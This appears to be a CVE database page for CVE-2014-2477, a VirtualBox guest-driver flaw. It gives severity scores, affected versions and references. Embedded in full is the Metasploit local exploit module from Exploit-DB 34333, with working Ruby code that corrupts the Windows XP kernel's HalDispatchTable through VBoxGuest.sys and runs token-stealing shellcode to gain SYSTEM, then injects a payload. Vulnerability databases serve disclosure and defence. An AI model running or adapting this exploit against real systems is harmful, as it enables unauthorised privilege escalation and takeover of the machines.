CVE-2014-2477 : Detail

CVE-2014-2477

6.52%V4
Local
2014-07-17
00h36 +00:00
2018-10-09
16h57 +00:00
CVE.org
NVD
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CVE Descriptions

Unspecified vulnerability in the Oracle VM VirtualBox component in Oracle Virtualization VirtualBox before 3.2.24, 4.0.26, 4.1.34, 4.2.26, and 4.3.12 allows local users to affect integrity and availability via unknown vectors related to Core, a different vulnerability than CVE-2014-2486.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V2 3.6 AV:L/AC:L/Au:N/C:N/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 34333

Publication date : 2014-08-12 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/local/windows_kernel' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::Local::WindowsKernel include Msf::Post::File include Msf::Post::Windows::FileInfo include Msf::Post::Windows::Priv include Msf::Post::Windows::Process def initialize(info={}) super(update_info(info, { 'Name' => 'VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation', 'Description' => %q{ A vulnerability within the VBoxGuest driver allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest Additions up to 4.3.10r93012. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC 'Jay Smith <jsmith[at]korelogic.com>' # MSF module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ ['Windows XP SP3', { 'HaliQuerySystemInfo' => 0x16bba, '_KPROCESS' => "\x44", '_TOKEN' => "\xc8", '_UPID' => "\x84", '_APLINKS' => "\x88" } ] ], 'References' => [ ['CVE', '2014-2477'], ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt'] ], 'DisclosureDate'=> 'Jul 15 2014', 'DefaultTarget' => 0 })) end def fill_memory(proc, address, length, content) session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") if not proc.memory.writable?(address) vprint_error("Failed to allocate memory") return nil else vprint_good("#{address} is now writable") end result = proc.memory.write(address, content) if result.nil? vprint_error("Failed to write contents to memory") return nil else vprint_good("Contents successfully written to 0x#{address.to_s(16)}") end return address end def check if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ return Exploit::CheckCode::Safe end handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? return Exploit::CheckCode::Safe end session.railgun.kernel32.CloseHandle(handle) os = sysinfo["OS"] unless (os =~ /windows xp.*service pack 3/i) return Exploit::CheckCode::Safe end file_path = expand_path("%windir%") << "\\system32\\drivers\\vboxguest.sys" unless file?(file_path) return Exploit::CheckCode::Unknown end major, minor, build, revision, branch = file_version(file_path) vprint_status("vboxguest.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") unless (major == 4) return Exploit::CheckCode::Safe end case minor when 0 return Exploit::CheckCode::Vulnerable if build < 26 when 1 return Exploit::CheckCode::Vulnerable if build < 34 when 2 return Exploit::CheckCode::Vulnerable if build < 26 when 3 return Exploit::CheckCode::Vulnerable if build < 12 end return Exploit::CheckCode::Safe end def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') end if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end unless check == Exploit::CheckCode::Vulnerable fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") end handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device") end print_status("Disclosing the HalDispatchTable address...") hal_dispatch_table = find_haldispatchtable if hal_dispatch_table.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Filed to disclose HalDispatchTable") else print_good("Address successfully disclosed.") end print_status('Getting the hal.dll base address...') hal_info = find_sys_base('hal.dll') fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil? hal_base = hal_info[0] print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}") hali_query_system_information = hal_base + target['HaliQuerySystemInfo'] print_status("Storing the shellcode in memory...") this_proc = session.sys.process.open restore_ptrs = "\x31\xc0" # xor eax, eax restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation restore_ptrs << "\xa3" + [hal_dispatch_table + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax kernel_shell = token_stealing_shellcode(target) kernel_shell_address = 0x1 buf = "\x90" * 0x6000 buf[0, 56] = "\x50\x00\x00\x00" * 14 buf[0x5000, kernel_shell.length] = restore_ptrs + kernel_shell result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) if result.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0) session.railgun.kernel32.CloseHandle(handle) print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") session.railgun.ntdll.NtQueryIntervalProfile(2, 4) print_status("Checking privileges after exploitation...") unless is_system? fail_with(Failure::Unknown, "The exploitation wasn't successful") else print_good("Exploitation successful!") end p = payload.encoded print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") if execute_shellcode(p) print_good("Enjoy") else fail_with(Failure::Unknown, "Error while executing the payload") end end end

Products Mentioned

Configuraton 0

Oracle>>Vm_virtualbox >> Version To (including) 4.0.24

Oracle>>Vm_virtualbox >> Version 4.0

Oracle>>Vm_virtualbox >> Version 4.0.0

Oracle>>Vm_virtualbox >> Version 4.0.2

Oracle>>Vm_virtualbox >> Version 4.0.4

Oracle>>Vm_virtualbox >> Version 4.0.6

Oracle>>Vm_virtualbox >> Version 4.0.8

Oracle>>Vm_virtualbox >> Version 4.0.10

Oracle>>Vm_virtualbox >> Version 4.0.12

Oracle>>Vm_virtualbox >> Version 4.0.14

Oracle>>Vm_virtualbox >> Version 4.0.16

Oracle>>Vm_virtualbox >> Version 4.0.18

Oracle>>Vm_virtualbox >> Version 4.0.20

Oracle>>Vm_virtualbox >> Version 4.0.22

Configuraton 0

Oracle>>Vm_virtualbox >> Version To (including) 4.3.10

Oracle>>Vm_virtualbox >> Version 4.3.0

Oracle>>Vm_virtualbox >> Version 4.3.2

Oracle>>Vm_virtualbox >> Version 4.3.4

Oracle>>Vm_virtualbox >> Version 4.3.6

Oracle>>Vm_virtualbox >> Version 4.3.8

Configuraton 0

Oracle>>Vm_virtualbox >> Version To (including) 3.2.22

Oracle>>Vm_virtualbox >> Version 3.2

Oracle>>Vm_virtualbox >> Version 3.2.0

Oracle>>Vm_virtualbox >> Version 3.2.2

Oracle>>Vm_virtualbox >> Version 3.2.4

Oracle>>Vm_virtualbox >> Version 3.2.6

Oracle>>Vm_virtualbox >> Version 3.2.8

Oracle>>Vm_virtualbox >> Version 3.2.10

Oracle>>Vm_virtualbox >> Version 3.2.12

Oracle>>Vm_virtualbox >> Version 3.2.14

Oracle>>Vm_virtualbox >> Version 3.2.16

Oracle>>Vm_virtualbox >> Version 3.2.18

Oracle>>Vm_virtualbox >> Version 3.2.20

Configuraton 0

Oracle>>Vm_virtualbox >> Version To (including) 4.1.32

Oracle>>Vm_virtualbox >> Version 4.1.0

Oracle>>Vm_virtualbox >> Version 4.1.2

Oracle>>Vm_virtualbox >> Version 4.1.4

Oracle>>Vm_virtualbox >> Version 4.1.6

Oracle>>Vm_virtualbox >> Version 4.1.8

Oracle>>Vm_virtualbox >> Version 4.1.10

Oracle>>Vm_virtualbox >> Version 4.1.12

Oracle>>Vm_virtualbox >> Version 4.1.14

Oracle>>Vm_virtualbox >> Version 4.1.16

Oracle>>Vm_virtualbox >> Version 4.1.18

Oracle>>Vm_virtualbox >> Version 4.1.20

Oracle>>Vm_virtualbox >> Version 4.1.22

Oracle>>Vm_virtualbox >> Version 4.1.24

Oracle>>Vm_virtualbox >> Version 4.1.26

Oracle>>Vm_virtualbox >> Version 4.1.28

Oracle>>Vm_virtualbox >> Version 4.1.30

Configuraton 0

Oracle>>Vm_virtualbox >> Version To (including) 4.2.24

Oracle>>Vm_virtualbox >> Version 4.2.0

Oracle>>Vm_virtualbox >> Version 4.2.2

Oracle>>Vm_virtualbox >> Version 4.2.4

Oracle>>Vm_virtualbox >> Version 4.2.6

Oracle>>Vm_virtualbox >> Version 4.2.8

Oracle>>Vm_virtualbox >> Version 4.2.10

Oracle>>Vm_virtualbox >> Version 4.2.12

Oracle>>Vm_virtualbox >> Version 4.2.14

Oracle>>Vm_virtualbox >> Version 4.2.16

Oracle>>Vm_virtualbox >> Version 4.2.18

Oracle>>Vm_virtualbox >> Version 4.2.20

Oracle>>Vm_virtualbox >> Version 4.2.22

References

http://www.exploit-db.com/exploits/34333
Tags : exploit, x_refsource_EXPLOIT-DB
http://seclists.org/fulldisclosure/2014/Dec/23
Tags : mailing-list, x_refsource_FULLDISC
http://www.securityfocus.com/bid/68613
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.